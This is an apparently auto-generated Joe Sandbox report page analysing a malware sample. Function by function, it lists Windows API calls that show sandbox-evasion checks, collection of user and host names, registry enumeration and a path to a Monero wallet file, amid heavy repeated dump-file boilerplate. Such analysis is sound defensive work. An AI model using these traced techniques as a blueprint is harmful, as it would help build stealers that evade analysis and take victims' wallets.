Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: dcdc8df9926e494c1ab4948e319e782386e2ff55feb8b7aa7e8a5d323956110b
Instruction ID: cdd118e43f1154bc628c982f544dbb088933eec8c8ed083cc889df26e0688646
Opcode Fuzzy Hash: dcdc8df9926e494c1ab4948e319e782386e2ff55feb8b7aa7e8a5d323956110b
Instruction Fuzzy Hash: 8731E6B4A40218ABDB20CF54DC85BDCB7B5EB48704F1081D9EB0AA7281CB746EC59F99

Function 007083DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00708426
wsprintfA.USER32 ref: 00708459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0070847B
RegCloseKey.ADVAPI32(00000000), ref: 0070848C
RegCloseKey.ADVAPI32(00000000), ref: 00708499

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

RegQueryValueExA.KERNEL32(00000000,0123E530,00000000,000F003F,?,00000400), ref: 007084EC
lstrlen.KERNEL32(?), ref: 00708501
RegQueryValueExA.KERNEL32(00000000,0123E560,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00710B34), ref: 00708599
RegCloseKey.KERNEL32(00000000), ref: 00708608
RegCloseKey.ADVAPI32(00000000), ref: 0070861A

Strings

%s\%s, xrefs: 0070844D

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: fca65eb8d9bd990510ff516549e296c7dabf3f51799988a0bd1dede4e72d0e7d
Instruction ID: 4a80fbde9dcdeecf631e66fb60203270d2ae5d7f1a4cfd269e555edab3466463
Opcode Fuzzy Hash: fca65eb8d9bd990510ff516549e296c7dabf3f51799988a0bd1dede4e72d0e7d
Instruction Fuzzy Hash: 672127B1914218EBDB64DB54CC85FE9B3F8FB48700F00C698E649A6280DF756A81CFD5

Function 00707690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007076A4
RtlAllocateHeap.NTDLL(00000000), ref: 007076AB
RegOpenKeyExA.KERNEL32(80000002,0122BF68,00000000,00020119,00000000), ref: 007076DD
RegQueryValueExA.KERNEL32(00000000,0123E5C0,00000000,00000000,?,000000FF), ref: 007076FE
RegCloseKey.ADVAPI32(00000000), ref: 00707708

Strings

Windows 11, xrefs: 007076BD

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 3b1fc75a9cf1f11c6623489fdb92bb97897b3eb28a9da0d55d5da6323a31263c
Instruction ID: 119162b892ac9f25cbea7bfef105b2d8323c4a7c1841837d041f945e9da10cad
Opcode Fuzzy Hash: 3b1fc75a9cf1f11c6623489fdb92bb97897b3eb28a9da0d55d5da6323a31263c
Instruction Fuzzy Hash: 04014FB5A18208FBD704DBE4DC4DFA9B7B8EB48701F104158FA45D72D0D674A944DF51

Function 00707720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00707734
RtlAllocateHeap.NTDLL(00000000), ref: 0070773B
RegOpenKeyExA.KERNEL32(80000002,0122BF68,00000000,00020119,007076B9), ref: 0070775B
RegQueryValueExA.KERNEL32(007076B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0070777A
RegCloseKey.ADVAPI32(007076B9), ref: 00707784

Strings

CurrentBuildNumber, xrefs: 00707771

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 83c7d63961f0152d585ae19e576ff1d88d64714ce4beb089a7f24c0aa42c24d4
Instruction ID: 857190c73a7498feeff9ad01645c125c0002f1e13f5913d859a80eca69189fe7
Opcode Fuzzy Hash: 83c7d63961f0152d585ae19e576ff1d88d64714ce4beb089a7f24c0aa42c24d4
Instruction Fuzzy Hash: 560167B5E54308FBD700DBE4DC49FAEB7B8EB44700F004158FA45A7281D6746540DF91

Function 007069F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,01232338), ref: 007098A1
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,012324B8), ref: 007098BA
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,01232350), ref: 007098D2
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,01232278), ref: 007098EA
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,012324A0), ref: 00709903
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,01239138), ref: 0070991B
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,01225850), ref: 00709933
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,012257D0), ref: 0070994C
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,012322A8), ref: 00709964
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,012323C8), ref: 0070997C
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,01232458), ref: 00709995
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,012324E8), ref: 007099AD
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,01225910), ref: 007099C5
Part of subcall function 00709860: GetProcAddress.KERNEL32(74DD0000,012322D8), ref: 007099DE

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 006F11D0: ExitProcess.KERNEL32 ref: 006F1211

Part of subcall function 006F1160: GetSystemInfo.KERNEL32(?), ref: 006F116A
Part of subcall function 006F1160: ExitProcess.KERNEL32 ref: 006F117E

Part of subcall function 006F1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 006F112B
Part of subcall function 006F1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 006F1132
Part of subcall function 006F1110: ExitProcess.KERNEL32 ref: 006F1143

Part of subcall function 006F1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 006F123E
Part of subcall function 006F1220: __aulldiv.LIBCMT ref: 006F1258
Part of subcall function 006F1220: __aulldiv.LIBCMT ref: 006F1266
Part of subcall function 006F1220: ExitProcess.KERNEL32 ref: 006F1294

Part of subcall function 00706770: GetUserDefaultLangID.KERNEL32 ref: 00706774

Part of subcall function 006F1190: ExitProcess.KERNEL32 ref: 006F11C6

Part of subcall function 00707850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006F11B7), ref: 00707880
Part of subcall function 00707850: RtlAllocateHeap.NTDLL(00000000), ref: 00707887
Part of subcall function 00707850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0070789F

Part of subcall function 007078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00707910
Part of subcall function 007078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00707917
Part of subcall function 007078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0070792F

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01239148,?,0071110C,?,00000000,?,00711110,?,00000000,00710AEF), ref: 00706ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00706AE8
CloseHandle.KERNEL32(00000000), ref: 00706AF9
Sleep.KERNEL32(00001770), ref: 00706B04
CloseHandle.KERNEL32(?,00000000,?,01239148,?,0071110C,?,00000000,?,00711110,?,00000000,00710AEF), ref: 00706B1A
ExitProcess.KERNEL32 ref: 00706B22

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: c0c1fb225a817c3cd554bbb67f3ac371df28c75baa9497442c6c4f6774565974
Instruction ID: 045cd9f023ad191d6cd0f6ffd81608a5d916e81b51bae2123f4a1ad7672b2daf
Opcode Fuzzy Hash: c0c1fb225a817c3cd554bbb67f3ac371df28c75baa9497442c6c4f6774565974
Instruction Fuzzy Hash: 33310E71E14308EADB05F7F0DC5ABEE77B9AF04340F508628F202A61D1DF786945DAA6

Function 006F99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006F99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 006F9A11
LocalAlloc.KERNEL32(00000040,?), ref: 006F9A31
ReadFile.KERNEL32(000000FF,?,00000000,006F148F,00000000), ref: 006F9A5A
LocalFree.KERNEL32(006F148F), ref: 006F9A90
CloseHandle.KERNEL32(000000FF), ref: 006F9A9A

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 77460c84092c2e7f93de7cb556ef0060f0183c3eb0bd101f3e7fe65f0b4c0741
Instruction ID: e0fa34f632bf4d6d4ffb95b05ebc0cfd3d4e03b512ee10b15e27bf24fc93d7f7
Opcode Fuzzy Hash: 77460c84092c2e7f93de7cb556ef0060f0183c3eb0bd101f3e7fe65f0b4c0741
Instruction Fuzzy Hash: F731F4B4A00209EFDB14CFA4C989BEE77B5FF48340F108158E912A7394D779AA41CFA1

Function 00704780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0123DFA8), ref: 007047DB

Part of subcall function 00708DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00708E0B

lstrcat.KERNEL32(?,00000000), ref: 00704801
lstrcat.KERNEL32(?,?), ref: 00704820
lstrcat.KERNEL32(?,?), ref: 00704834
lstrcat.KERNEL32(?,0122B798), ref: 00704847
lstrcat.KERNEL32(?,?), ref: 0070485B
lstrcat.KERNEL32(?,0123D6E0), ref: 0070486F

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 00708D90: GetFileAttributesA.KERNEL32(00000000,?,006F1B54,?,?,0071564C,?,?,00710E1F), ref: 00708D9F

Part of subcall function 00704570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00704580
Part of subcall function 00704570: RtlAllocateHeap.NTDLL(00000000), ref: 00704587
Part of subcall function 00704570: wsprintfA.USER32 ref: 007045A6
Part of subcall function 00704570: FindFirstFileA.KERNEL32(?,?), ref: 007045BD

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: b17483c512d0f54bc8458a6b8ff1633274ca0bbcf4dedf4802eee2e821bb9b66
Instruction ID: 795f62b7f88aee8ee08b700cd919cd080d70698d4193b053f8790bc8029f5018
Opcode Fuzzy Hash: b17483c512d0f54bc8458a6b8ff1633274ca0bbcf4dedf4802eee2e821bb9b66
Instruction Fuzzy Hash: 4B3156B2910208E7CB54F770DC89EE973BCAB58700F404689B395960C1DE74EB898F96

Function 006F1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 006F123E
__aulldiv.LIBCMT ref: 006F1258
__aulldiv.LIBCMT ref: 006F1266
ExitProcess.KERNEL32 ref: 006F1294

Strings

@, xrefs: 006F1233

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

